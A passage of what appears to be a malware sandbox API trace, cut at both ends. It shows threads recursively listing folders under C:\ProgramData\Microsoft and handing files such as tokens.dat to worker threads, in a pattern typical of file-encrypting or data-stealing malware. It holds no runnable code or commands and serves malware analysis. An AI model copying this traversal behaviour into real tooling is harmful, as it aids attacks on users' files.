Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0090.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 Thread: id = 190 os_tid = 0xc28 [0086.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e690 [0086.545] wcscpy (in: _Dest=0x1b85e690, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0086.545] wcscat (in: _Dest=0x1b85e690, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0086.545] wcscat (in: _Dest=0x1b85e690, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" [0086.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63b30 [0086.545] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86a90 [0086.545] wcscmp (_String1=".", _String2=".") returned 0 [0086.545] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.545] wcscmp (_String1="..", _String2=".") returned 1 [0086.545] wcscmp (_String1="..", _String2="..") returned 0 [0086.545] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0086.545] wcscmp (_String1="Cache", _String2=".") returned 1 [0086.545] wcscmp (_String1="Cache", _String2="..") returned 1 [0086.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b783ef0 [0086.546] wcscpy (in: _Dest=0x1b783ef0, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0086.546] wcscat (in: _Dest=0x1b783ef0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0086.546] wcscat (in: _Dest=0x1b783ef0, _Source="Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0090.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b783ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0090.540] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0090.540] wcscmp (_String1="tokens.dat", _String2=".") returned 1 [0090.540] wcscmp (_String1="tokens.dat", _String2="..") returned 1 [0090.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad2a0 [0090.540] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0090.540] wcscat (in: _Dest=0x1b7ad2a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0090.540] wcscat (in: _Dest=0x1b7ad2a0, _Source="tokens.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0090.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8 [0090.541] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd63b30 | out: lpFindFileData=0x1cd63b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0090.541] FindClose (in: hFindFile=0x1cd86a90 | out: hFindFile=0x1cd86a90) returned 1 [0090.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63b30) returned 1 [0090.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e690) returned 1 [0090.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79daf0) returned 1 Thread: id = 191 os_tid = 0xc2c [0086.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97170 [0086.547] wcscpy (in: _Dest=0x1cd97170, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0086.547] wcscat (in: _Dest=0x1cd97170, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0086.547] wcscat (in: _Dest=0x1cd97170, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\*" [0086.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63da0 [0086.547] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86af0 [0086.547] wcscmp (_String1=".", _String2=".") returned 0 [0086.547] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.547] wcscmp (_String1="..", _String2=".") returned 1 [0086.547] wcscmp (_String1="..", _String2="..") returned 0 [0086.547] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0086.547] wcscmp (_String1="Outbound", _String2=".") returned 1 [0086.547] wcscmp (_String1="Outbound", _String2="..") returned 1 [0086.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd86b50 [0086.547] wcscpy (in: _Dest=0x1cd86b50, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0086.547] wcscat (in: _Dest=0x1cd86b50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0086.547] wcscat (in: _Dest=0x1cd86b50, _Source="Outbound" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound" [0090.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0090.742] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0090.742] wcscmp (_String1="PublishedData", _String2=".") returned 1 [0090.742] wcscmp (_String1="PublishedData", _String2="..") returned 1 [0090.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd869d0 [0090.743] wcscpy (in: _Dest=0x1cd869d0, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0090.743] wcscat (in: _Dest=0x1cd869d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0090.743] wcscat (in: _Dest=0x1cd869d0, _Source="PublishedData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0090.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd869d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0090.743] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0090.744] wcscmp (_String1="StateData", _String2=".") returned 1 [0090.744] wcscmp (_String1="StateData", _String2="..") returned 1 [0090.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd86850 [0090.744] wcscpy (in: _Dest=0x1cd86850, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0090.744] wcscat (in: _Dest=0x1cd86850, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0090.744] wcscat (in: _Dest=0x1cd86850, _Source="StateData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData" [0090.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0090.745] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce386400, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce386400, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0090.745] wcscmp (_String1="Temp", _String2=".") returned 1 [0090.745] wcscmp (_String1="Temp", _String2="..") returned 1 [0090.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c080 [0090.745] wcscpy (in: _Dest=0x1b82c080, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0090.745] wcscat (in: _Dest=0x1b82c080, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0090.745] wcscat (in: _Dest=0x1b82c080, _Source="Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp" [0090.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0090.746] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce386400, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce386400, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0090.746] FindClose (in: hFindFile=0x1cd86af0 | out: hFindFile=0x1cd86af0) returned 1 [0090.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63da0) returned 1 [0090.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0090.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 Thread: id = 192 os_tid = 0xc30 [0086.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1cd971c0 [0086.552] wcscpy (in: _Dest=0x1cd971c0, _Source="C:\\ProgramData\\Microsoft\\Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0086.552] wcscat (in: _Dest=0x1cd971c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\") returned="C:\\ProgramData\\Microsoft\\Search\\" [0086.552] wcscat (in: _Dest=0x1cd971c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\*") returned="C:\\ProgramData\\Microsoft\\Search\\*" [0086.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd980d0 [0086.552] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86bb0 [0086.553] wcscmp (_String1=".", _String2=".") returned 0 [0086.554] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.554] wcscmp (_String1="..", _String2=".") returned 1 [0086.554] wcscmp (_String1="..", _String2="..") returned 0 [0086.554] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0086.554] wcscmp (_String1="Data", _String2=".") returned 1 [0086.554] wcscmp (_String1="Data", _String2="..") returned 1 [0086.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86c10 [0086.554] wcscpy (in: _Dest=0x1cd86c10, _Source="C:\\ProgramData\\Microsoft\\Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0086.554] wcscat (in: _Dest=0x1cd86c10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\") returned="C:\\ProgramData\\Microsoft\\Search\\" [0086.554] wcscat (in: _Dest=0x1cd86c10, _Source="Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0090.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0090.565] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0090.565] FindClose (in: hFindFile=0x1cd86bb0 | out: hFindFile=0x1cd86bb0) returned 1 [0090.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd980d0) returned 1 [0090.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0090.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 Thread: id = 193 os_tid = 0xc34 [0086.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e410 [0086.555] wcscpy (in: _Dest=0x1b86e410, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0086.555] wcscat (in: _Dest=0x1b86e410, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0086.555] wcscat (in: _Dest=0x1b86e410, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\*") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\*" [0086.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98340 [0086.555] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0086.555] wcscmp (_String1=".", _String2=".") returned 0 [0086.555] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.555] wcscmp (_String1="..", _String2=".") returned 1 [0086.556] wcscmp (_String1="..", _String2="..") returned 0 [0086.556] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="5P5NRG~1.DAT")) returned 1 [0086.556] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2=".") returned 1 [0086.556] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2="..") returned 1 [0086.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad700 [0086.556] wcscpy (in: _Dest=0x1b7ad700, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0086.556] wcscat (in: _Dest=0x1b7ad700, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0086.556] wcscat (in: _Dest=0x1b7ad700, _Source="5p5NrGJn0jS HALPmcxz.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" [0090.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0090.567] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0090.567] wcscmp (_String1="Default Pictures", _String2=".") returned 1 [0090.567] wcscmp (_String1="Default Pictures", _String2="..") returned 1 [0090.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b7f0 [0090.568] wcscpy (in: _Dest=0x1b85b7f0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0090.568] wcscat (in: _Dest=0x1b85b7f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0090.568] wcscat (in: _Dest=0x1b85b7f0, _Source="Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0090.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85b7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0090.568] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0090.569] wcscmp 